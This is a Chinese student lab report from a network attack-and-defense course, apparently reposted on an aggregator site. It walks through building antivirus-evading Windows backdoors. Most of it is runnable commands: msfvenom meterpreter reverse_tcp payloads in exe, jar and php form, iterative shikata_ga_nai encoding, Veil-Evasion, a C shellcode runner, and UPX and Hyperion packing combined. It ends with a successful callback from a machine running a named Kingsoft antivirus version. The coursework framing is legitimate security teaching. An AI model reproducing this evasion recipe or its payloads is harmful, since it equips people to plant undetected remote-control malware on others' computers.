当前位置: 首页 > news >正文

20232427 2025-2026-1 《网络与系统攻防技术》实验三实验报告

一、实验目的

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(2)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(3)下载veil,加壳工具
(4)使用C + shellcode编程
(5)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(6)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

(1)杀软是如何检测出恶意代码的?
主要是通过特征码检测,行为检测,启发式检测等方式识别
(2)免杀是做什么?
让恶意代码能避开杀毒软件的检测,在目标设备上运行
(3)免杀的基本方法有哪些?
修改特征码,代码混淆,加壳保护等

三、实验内容

主机:Windows 11 系统,IP 地址 172.16.178.31,
虚拟机:Kali Linux,IP 地址 192.168.247.128
实验工具:msfvenom、Veil-Evasion、MinGW-w64、UPX、Hyperion

1.环境配置

安装 MinGW-w64(用于编译 C 语言 shellcode):
sudo apt update && sudo apt install -y mingw-w64
image

安装 UPX 压缩壳工具:
sudo apt install -y upx-ucl
安装 Hyperion 加密壳(默认路径 /usr/share/windows-resources/hyperion/,若缺失则手动下载解压至该目录)
image

免杀基准测试
生成基础恶意文件作为检出率基准,用于对比后续免杀效果:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f exe > base_20232427.exe
image

将该文件上传至VirusTotal检测。
image

2.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2.1MSF 编码器使用与多类型文件生成

生成编码的 EXE 文件
单次编码 EXE:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f exe > encoded1_20232427.exe
image
image

10 次迭代编码 EXE(增强变形效果):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f exe > encoded10_20232427.exe
image
image

基本没有什么变化

生成 JAR 文件及编码版本
基础 JAR 文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f jar > jar_base_20232427.jar
image
image

10 次编码 JAR 文件:
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.247.128 LPORT=2427 -f jar > jar_encoded10_20232427.jar
image
image

可以看到jar文件更难被识别出来

生成 PHP 文件及编码版本
基础 PHP 文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 > php_base_20232427.php
image
image

10 次编码 PHP 文件:
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.247.128 LPORT=2427 > php_encoded10_20232427.php
image
image

可以看到php文件很难被识别,并且编码后免杀效果非常明显

2.2Veil-Evasion 工具使用

Veil 安装
安装 Veil:
sudo apt -y install veil
image

配置环境
sudo /usr/share/veil/config/setup.sh --force --silent
image

启动 Veil:
Veil
image

生成免杀恶意文件
进入 Evasion 模块:
use 1 #选择Evasion工具
image

查看可用载荷并选择 C 语言反向 TCP 载荷:
list #列出载荷,找到c/meterpreter/rev_tcp(通常为第7项)
image

use 7 #选择该载荷
image

配置载荷参数:
set LHOST 192.168.247.128 #虚拟机IP
set LPORT 2427 #端口
generate #生成文件
输入文件名(veil_20232427),生成的 EXE 文件路径为
/var/lib/veil/output/compiled/veil_20232427.exe。
image
image

验证:上传该文件至 VirusTotal 检测,记录检出率。
image

有一定的免杀效果

2.3C + Shellcode 编程实现免杀

生成 Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.128 LPORT=2427 -f c > shellcode_20232427.c
image

编写 C 语言程序
用vi编辑文件,添加执行逻辑:
vi shellcode_20232427.c
在文件末尾添加主函数:
int main(){
int (func)() = (int()())buf; // 将Shellcode转为函数指针
func(); // 执行Shellcode
}
保存退出(Esc,:wq)。
image

编译生成 EXE 文件
i686-w64-mingw32-g++ shellcode_20232427.c -o shellcode_c_20232427.exe
image

效果验证
上传shellcode_c_20232427.exe至 VirusTotal 检测,记录检出率。
image

2.4使用加壳工具

UPX 压缩壳
对 C+Shellcode 生成的 EXE 加壳:
upx shellcode_c_20232427.exe -o shellcode_upx_20232427.exe
image

上传检测,观察检出率变化。
image

检出率上升,说明UPX特征易被识别
Hyperion 加密壳
复制文件到 Hyperion 工作目录:
cp shellcode_c_20232427.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
加密生成文件:
wine hyperion.exe -v shellcode_c_20232427.exe shellcode_hyp_20232427.exe
image
image

上传检测,记录检出率。
检出率上升,说明加密壳特征被杀软收录
image

3.通过组合应用各种技术实现恶意代码免杀

采用 “MSF 编码 + C 语言编译 + UPX 压缩 + Hyperion 加密” 组合策略:
生成 10 次编码的 Shellcode 并保存为 C 文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.247.128 LPORT=2427 -f c > combo_shellcode_20232427.c
image

编辑 C 文件,添加主函数(同 “C+Shellcode 编程” 步骤 2)。
image

编译生成 EXE:
i686-w64-mingw32-g++ combo_shellcode_20232427.c -o combo_base_20232427.exe
image

UPX 压缩:
upx combo_base_20232427.exe -o combo_upx_20232427.exe
image

Hyperion 加密:
cp combo_upx_20232427.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
wine hyperion.exe -v combo_upx_20232427.exe combo_final_20232427.exe
image

将combo_final_20232427.exe复制到 Windows 11 主机,用金山毒霸进行自定义查杀,验证。
image

4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

Kali 端启动监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.247.128
set LPORT 2427
exploit
保持金山毒霸开启,双击运行combo_final_20232427.exe
验证回连成功
输入meterpreter > dir等命令,可正常查看 Windows 主机目录,验证控制成功。
image

杀软名称:金山毒霸
病毒库版本:2025.02.24.17
软件版本:15.2025.0.8.022400.1517
image

四、问题及解决方案

1.生成php文件上传VirusTotal 检测错误

image
检查后发现该文件为0kb,
image
编码器不兼容:x86/shikata_ga_nai 是针对 x86 架构二进制代码的编码器,而 PHP payload 是文本格式的脚本代码,编码器无法对其有效处理,可能导致输出失败,生成空文件。
参数错误:PHP payload 通常不需要使用二进制编码器(如-e指定的编码器),强行使用会导致 msfvenom 处理异常,无法生成有效内容。
解决办法:生成 PHP 文件时去掉-e编码器参数,去掉-f php参数,直接使用基础命令即可生成有效文件
image
有效

五、心得体会

通过本次免杀原理与实践实验,我掌握了 MSF 编码器、Veil-Evasion、C+Shellcode 编程及加壳工具的使用,也理解了组合免杀的核心逻辑。从基础后门高检出率,到通过编码、封装、加壳将检出率降低,最终实现与金山毒霸共生并成功回连,让我直观感受到杀软的检测机制与免杀技术的对抗关系。
实验中解决各种问题的过程,提升了我的问题排查能力。同时我也认识到,免杀技术需用于合法渗透测试,需坚守网络安全伦理,这为后续深入学习攻防技术奠定了正确方向。

http://www.gsyq.cn/news/30791.html

相关文章:

  • (第七次)tensorflow与keras
  • (第六次)聚类和神经网络
  • [java 锁]
  • 深入解析:windows输入法中英切换(英文提示)ALT + SHIFT切换(搜狗输入法CTRL+SHIFT+E切换)英文键盘
  • 部分思维题
  • 别再踩坑!真正有效的最佳免费数据恢复软件,亲测能救
  • rent8_wechat 微信消息提醒设置教程 - 详解
  • Titanic轮船人员生存率预测
  • 自行搭建了几个AIGC小站点,可结合接口平台使用
  • Linux 内核空间 并发竞争处理 共享资源线程同步 - 实践
  • 【轨物方案】变频器物联网软硬件一站式解决方案 - 详解
  • 人工智能初了解
  • Hbase分布式数据库
  • MapReduce并行计算框架
  • Wyn 商业智能软件:3D 可视化大屏搭建与设备利用全指南
  • 什么是Java Lambda
  • Java 代理
  • 《算法与数据结构》第七章[算法2]:广度优先搜索(BFS) - 指南
  • 中转API为什么比官方更便宜?AI中转站成本揭秘
  • Java 混合编程
  • Java 语法糖
  • 纸笔群群友命题乱做
  • 本人对KMP如何匹配到所有结果的算法存在一些疑惑...
  • 完整教程:京东100道GO面试题及参考答案(上)
  • Ubuntu 系统 /dev/sdb2(RAID 关联磁盘)挂载操作手册
  • 解决 Windows 下 Claude 通过 cmd/powershell 运行出错失去响应的问题
  • 25.10.25随笔NOIP模拟赛总结
  • 师生健康信息管理高效的系统|基于SpringBoot和Vue的师生健康信息管理系统(源码+数据库+文档)
  • 手势检测(充满科技感) - 实践
  • 2025 年 10 月商用厨房设备,酒店厨房设备,大型厨房设备厂家最新推荐,聚焦高端定制需求与全案交付能力